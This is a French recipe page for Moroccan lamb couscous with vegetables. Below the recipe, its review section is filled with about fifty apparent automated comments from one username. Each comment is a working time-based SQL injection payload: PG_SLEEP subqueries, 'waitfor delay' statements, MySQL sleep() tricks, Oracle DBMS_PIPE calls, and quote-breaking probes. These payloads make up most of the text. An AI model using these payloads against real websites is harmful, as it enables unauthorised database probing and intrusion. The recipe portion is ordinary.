- Accueil
- Cuisine Marocaine
- Couscous Marocain À L'agneau Et Ses Légumes
COUSCOUS MAROCAIN À L'AGNEAU ET SES LÉGUMES
Ingrédients :
/ pour 6 personnes
- 1 kg de viande d'agneau.
- 2 oignons.
- 1 verre d'huile.
- 1 cuillère à café de poivre noir.
- 1 cuillère à café de gingembre en poudre.
- Une pincée de safran.
- 1/2 cuillère à café de curcuma.
- 2,5 litre d'eau.
- 250 g de courgettes.
- 250 g de navets.
- 250 g de carottes.
- 2 tomates.
- 400 g de courge rouge.
- 1 bouquet de coriandre et persil plat
- 1 cuillère à soupe de smen.
- sel.
- 750 g de couscous préparé et cuit.
Préparation :
- Mettez la viande coupée en morceaux dans une marmite avec l'oignon haché et l'huile. Faites revenir jusqu'à ce que l'oignon devienne translucide. Ajoutez alors l'eau et les épices. Couvrez et laissez cuire à feu moyen jusqu'à ce que la viande soit cuite.
- Lavez les courgettes, épluchez les carottes et coupez-les dans le sens de la longueur. Épluchez les navets et coupez-les en deux. Ajoutez ces légumes au bouillon avec le bouquet garni de persil et coriandre. Laissez cuire à feu moyen jusqu'à ce que les légumes soient tendres.
- Épluchez la courge, lavez les tomates et ajoutez-les dans la marmite.
- Lorsque les légumes deviennent tendres, ôtez la marmite du feu et ajoutez la cuillère à soupe de smen. Pour finir Dans un plat de service, disposez le couscous chaud sous forme de cône. Creusez un puits pour y mettre la viande. Disposez dessus les légumes puis arrosez avec le bouillon.
Se Connecter pour publier un avis
Avis (50)
- 7 juillet 2024 à 13:33:44
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:35:47
-
lxbfYeaa lxbfYeaa
555-1) OR 575=(SELECT 575 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:34:09
-
lxbfYeaa lxbfYeaa
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 13:34:34
-
lxbfYeaa lxbfYeaa
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 13:35:34
-
lxbfYeaa lxbfYeaa
555-1 OR 474=(SELECT 474 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:33:45
-
lxbfYeaa lxbfYeaa
-1 OR 2+340-340-1=0+0+0+1
- 7 juillet 2024 à 13:33:45
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:25:49
-
lxbfYeaa lxbfYeaa
555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:26:12
-
lxbfYeaa lxbfYeaa
555uiv6mnWz'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:24:37
-
lxbfYeaa lxbfYeaa
-1 OR 3+933-933-1=0+0+0+1
- 7 juillet 2024 à 12:24:37
-
lxbfYeaa lxbfYeaa
-1 OR 2+933-933-1=0+0+0+1
- 7 juillet 2024 à 12:27:12
-
lxbfYeaa lxbfYeaa
555TLqaneoa') OR 130=(SELECT 130 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:33:44
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:35:59
-
lxbfYeaa lxbfYeaa
555-1)) OR 846=(SELECT 846 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:35:09
-
lxbfYeaa lxbfYeaa
555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:35:22
-
lxbfYeaa lxbfYeaa
555bxerX3CW'; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:24:36
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:26:01
-
lxbfYeaa lxbfYeaa
555-1 waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:27:24
-
lxbfYeaa lxbfYeaa
555r3GmMsjk')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:27:50
-
lxbfYeaa lxbfYeaa
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 12:26:24
-
lxbfYeaa lxbfYeaa
555-1 OR 209=(SELECT 209 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:36:11
-
lxbfYeaa lxbfYeaa
555dHVS4o4U' OR 641=(SELECT 641 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:34:22
-
lxbfYeaa lxbfYeaa
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 13:34:46
-
lxbfYeaa lxbfYeaa
555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 12:24:35
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:27:36
-
lxbfYeaa lxbfYeaa
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 13:36:48
-
lxbfYeaa lxbfYeaa
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- 7 juillet 2024 à 12:24:23
-
lxbfYeaa lxbfYeaa
555F8XLwM1r
- 7 juillet 2024 à 13:37:00
-
lxbfYeaa lxbfYeaa
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- 7 juillet 2024 à 12:24:49
-
lxbfYeaa lxbfYeaa
555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 13:33:43
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:26:48
-
lxbfYeaa lxbfYeaa
555-1)) OR 370=(SELECT 370 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:25:01
-
lxbfYeaa lxbfYeaa
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- 7 juillet 2024 à 12:24:36
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 13:34:57
-
lxbfYeaa lxbfYeaa
555-1); waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:37:01
-
lxbfYeaa lxbfYeaa
555'"
- 7 juillet 2024 à 12:27:00
-
lxbfYeaa lxbfYeaa
555kdM9eR3o' OR 912=(SELECT 912 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:25:36
-
lxbfYeaa lxbfYeaa
555-1; waitfor delay '0:0:15' --
- 7 juillet 2024 à 13:33:30
-
lxbfYeaa lxbfYeaa
555lPWXPs9X
- 7 juillet 2024 à 13:36:35
-
lxbfYeaa lxbfYeaa
555OF33r4ds')) OR 539=(SELECT 539 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:25:24
-
lxbfYeaa lxbfYeaa
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- 7 juillet 2024 à 12:25:13
-
lxbfYeaa lxbfYeaa
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- 7 juillet 2024 à 12:24:37
-
lxbfYeaa lxbfYeaa
555*1
- 7 juillet 2024 à 12:27:51
-
lxbfYeaa lxbfYeaa
555'"
- 7 juillet 2024 à 13:37:02
-
lxbfYeaa lxbfYeaa
@@IdClr
- 7 juillet 2024 à 13:33:58
-
lxbfYeaa lxbfYeaa
555*if(now()=sysdate(),sleep(15),0)
- 7 juillet 2024 à 13:36:23
-
lxbfYeaa lxbfYeaa
555gToR0nEx') OR 433=(SELECT 433 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 12:26:36
-
lxbfYeaa lxbfYeaa
555-1) OR 684=(SELECT 684 FROM PG_SLEEP(15))--
- 7 juillet 2024 à 13:33:46
-
lxbfYeaa lxbfYeaa
-1 OR 3+340-340-1=0+0+0+1
- 7 juillet 2024 à 12:27:52
-